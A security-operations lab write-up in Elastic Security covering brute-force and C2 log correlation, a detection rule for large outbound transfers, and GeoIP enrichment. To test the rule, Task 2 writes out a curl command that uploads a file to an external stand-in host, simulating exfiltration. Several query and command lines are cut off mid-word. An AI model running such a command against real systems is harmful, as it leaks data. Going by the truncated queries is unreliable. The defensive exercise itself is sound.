Practical Application 1: Advanced Log Analysis

Tools Used

- Elastic Security (SIEM)
- Security Onion
- Google Sheets

Task 1: Log Correlation

Objective

Ingest sample logs from the Boss of the SOC (BOTS) dataset into Elastic Security and correlate failed login events (Event ID 4625) with suspicious outbound network traffic to identify potential attack patterns.

Setup

1. Downloaded BOTS v2 dataset from Splunk (https://github.com/splunk/botsv2).
2. Imported Windows Security logs and Firewall logs into Elastic Security via Logstash.
3. Created an index pattern `botsv2-*` in Kibana.

Procedure

1. **Queried for Failed Logins (Event ID 4625):**

   ```
   event.code: "4625" AND source.ip: "192.168.1.100"
   ```

   Result: 23 failed login attempts from `192.168.1.100` within a 10-minute window targeting user account `admin`.

2. **Queried for Outbound Traffic from Same Source:**

```
source.ip: "192.168.1.100" AND destination.ip NOT: "10.0.0.0/8" AND destination.po
```

   Result: Outbound connection to `8.8.8.8` on port 53 (DNS) and `185.220.101.45` on port 443 (HTTPS).

3. **Correlated Using Elastic Timeline:** Created a Timeline investigation linking both event streams by `source.ip` and time window (±10 minutes).

Correlation Results

Timestamp	Event ID	Source IP	Destination IP	Port	Notes
2025-08-18 12:00:00	4625	192.168.1.100	—	—	Failed login attempt (1 of 23)
2025-08-18 12:00:15	4625	192.168.1.100	—	—	Failed login attempt (2 of 23)
2025-08-18 12:00:30	4625	192.168.1.100	—	—	Failed login attempt (brute force pattern)
2025-08-18 12:02:00	4624	192.168.1.100	—	—	**Successful login** after brute force
2025-08-18 12:03:00	—	192.168.1.100	8.8.8.8	53	Suspicious DNS query to external resolver
2025-08-18 12:04:00	—	192.168.1.100	185.220.101.45	443	HTTPS connection to known Tor exit node
2025-08-18 12:05:00	—	192.168.1.100	185.220.101.45	443	Continued C2 beaconing (every 60s)

Analysis

The correlation reveals a **brute-force attack** (23 failed logins in 10 minutes) followed by a **successful compromise** (Event ID 4624). Post-compromise, the host initiated outbound connections to a known Tor exit node — a strong indicator of **command-and-control (C2) communication**. The DNS query to an external resolver (bypassing internal DNS) suggests DNS tunneling or evasion.

MITRE ATT&CK Mapping:

- T1110 — Brute Force (Initial Access)
- T1071.001 — Web Protocols for C2 (Command and Control)

Task 2: Anomaly Detection

Objective

Create an Elastic Security detection rule to identify high-volume data transfers (bytes_out > 1MB within 1 minute) and test with a simulated file transfer.

Detection Rule Configuration

Rule Details:

- **Name:** High Volume Outbound Data Transfer
- **Type:** Threshold Rule
- **Index:** `filebeat-*` , `packetbeat-*`
- **Severity:** High
- **Risk Score:** 73

Rule Query (KQL):

```
destination.bytes > 1048576 AND NOT destination.ip: ("10.0.0.0/8" OR "172.16.0.0/12" O
```

Threshold Configuration:

```
{
  "threshold": {
    "field": ["source.ip"],
    "value": 1,
    "cardinality": []
  },
  "timeline_id": "default",
  "schedule": {
    "interval": "1m",
    "lookback": "5m"
  }
}
```

Test Procedure

1. Generated a 5MB test file on a monitored endpoint:

```
dd if=/dev/urandom of=/tmp/testfile.bin bs=1M count=5
```

2. Transferred the file to an external server:

```
curl -X POST -F "file=@/tmp/testfile.bin" http://external-server.example.com/uploa
```

3. Monitored Elastic Security alerts dashboard.

Result

- **Alert triggered** within 90 seconds of the transfer.
- Alert details showed: Source IP `192.168.1.50` , Destination `external-server.example.com` , Bytes transferred: `5,242,880` (5MB).
- Rule successfully detected the high-volume transfer.

Task 3: Log Enrichment

Objective

Use the GeoIP plugin in Elastic to add geolocation data to IP addresses and summarize findings.

Configuration

Added GeoIP processor to the Elasticsearch ingest pipeline:

```
{
  "description": "GeoIP enrichment pipeline",
  "processors": [
    {
      "geoip": {
        "field": "destination.ip",
        "target_field": "destination.geo",
        "database_file": "GeoLite2-City.mmdb"
      }
    },
    {
      "geoip": {
        "field": "source.ip",
        "target_field": "source.geo",
        "database_file": "GeoLite2-ASN.mmdb"
      }
    }
  ]
}
```

Enrichment Results

IP Address	Country	City	ASN	Organization	Classification
185.220.101.45	Germany	Berlin	AS205100	F3 Netze e.V.	Tor Exit Node
91.219.236.222	Netherlands	Amsterdam	AS49505	Selectel	Botnet Controller

8.8.8.8	USA	Mountain View	AS15169	Google LLC	Public DNS
203.0.113.50	Reserved	—	—	TEST-NET-3	RFC 5737 Documentation

Summary (50 words)

GeoIP enrichment revealed that the suspicious destination IP `185.220.101.45` originates from a German Tor exit node operated by F3 Netze — a privacy-focused ISP frequently associated with anonymized traffic. This context immediately elevates the alert priority, as legitimate business traffic would not route through Tor infrastructure, confirming C2 communication suspicion.

Practical Application — Advanced Log Analysis completed using Elastic Security and Security Onion